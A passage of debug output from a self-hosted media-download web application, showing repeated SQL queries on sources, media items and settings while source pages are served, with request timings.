s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:53:42.612 [debug] QUERY OK source="settings" db=0.1ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.612 [debug] QUERY OK source="sources" db=0.1ms idle=0.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:53:42.613 [debug] QUERY OK source="settings" db=0.1ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.613 [debug] QUERY OK source="media_items" db=0.5ms idle=0.9ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 17:53:42.614 [debug] QUERY OK source="media_items" db=1.0ms idle=0.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 17:53:42.614 [debug] QUERY OK source="sources" db=0.3ms idle=1.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:53:42.614 [debug] QUERY OK source="media_items" db=1.7ms idle=0.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [2] 17:53:42.615 [debug] QUERY OK source="media_items" db=0.4ms idle=1.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 17:53:42.616 [debug] QUERY OK source="sources" db=0.8ms idle=0.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:53:42.617 [debug] QUERY OK source="media_items" db=2.8ms idle=1.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 17:53:42.618 [debug] QUERY OK source="media_items" db=2.2ms queue=0.4ms idle=0.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 17:53:42.618 [debug] QUERY OK source="sources" db=0.4ms idle=3.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:53:42.618 [debug] QUERY OK source="media_items" db=1.9ms idle=2.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [2] 17:53:42.619 [info] Sent 200 in 35ms 17:53:42.619 [debug] QUERY OK source="media_items" db=0.3ms idle=2.9ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 17:53:42.620 [debug] QUERY OK source="media_items" db=0.9ms idle=1.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 17:53:42.621 [debug] QUERY OK source="media_items" db=2.3ms idle=1.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 17:53:42.622 [debug] QUERY OK source="sources" db=0.1ms idle=2.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:53:42.622 [debug] QUERY OK source="media_items" db=0.1ms idle=3.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 17:53:42.622 [info] Sent 200 in 38ms 17:53:42.623 [debug] QUERY OK source="media_items" db=0.3ms idle=3.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 17:53:42.623 [info] Sent 200 in 18ms 17:53:42.647 [info] GET /sources/1/ 17:53:42.647 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 17:53:42.648 [debug] QUERY OK source="sources" db=0.2ms idle=27.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:53:42.648 [debug] QUERY OK source="media_profiles" db=0.3ms idle=26.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:53:42.650 [debug] QUERY OK source="tasks" db=1.1ms idle=27.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [1, "executing", "available", "scheduled", "retryable"] 17:53:42.650 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=27.8ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [17070] 17:53:42.650 [debug] QUERY OK source="settings" db=0.1ms idle=27.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.651 [debug] QUERY OK source="settings" db=0.1ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.651 [debug] QUERY OK source="settings" db=0.1ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.652 [debug] QUERY OK source="sources" db=0.1ms idle=2.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:53:42.653 [debug] QUERY OK source="media_items" db=0.2ms idle=2.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 17:53:42.654 [debug] QUERY OK source="media_items" db=0.5ms idle=2.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 17:53:42.654 [debug] QUERY OK source="sources" db=0.2ms idle=3.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:53:42.655 [debug] QUERY OK source="media_items" db=0.1ms idle=3.2ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 17:53:42.655 [debug] QUERY OK source="media_items" db=0.2ms idle=2.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 17:53:42.656 [debug] QUERY OK source="sources" db=0.1ms idle=2.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:53:42.656 [debug] QUERY OK source="media_items" db=0.3ms idle=2.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 17:53:42.657 [debug] QUERY OK source="media_items" db=0.4ms idle=2.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 17:53:42.658 [info] Sent 200 in 11ms 17:53:42.705 [info] GET /sources/1/ 17:53:42.705 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 17:53:42.706 [debug] QUERY OK source="sources" db=0.2ms idle=50.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:53:42.706 [debug] QUERY OK source="media_profiles" db=0.1ms idle=50.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:53:42.707 [debug] QUERY OK source="tasks" db=0.9ms idle=50.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", 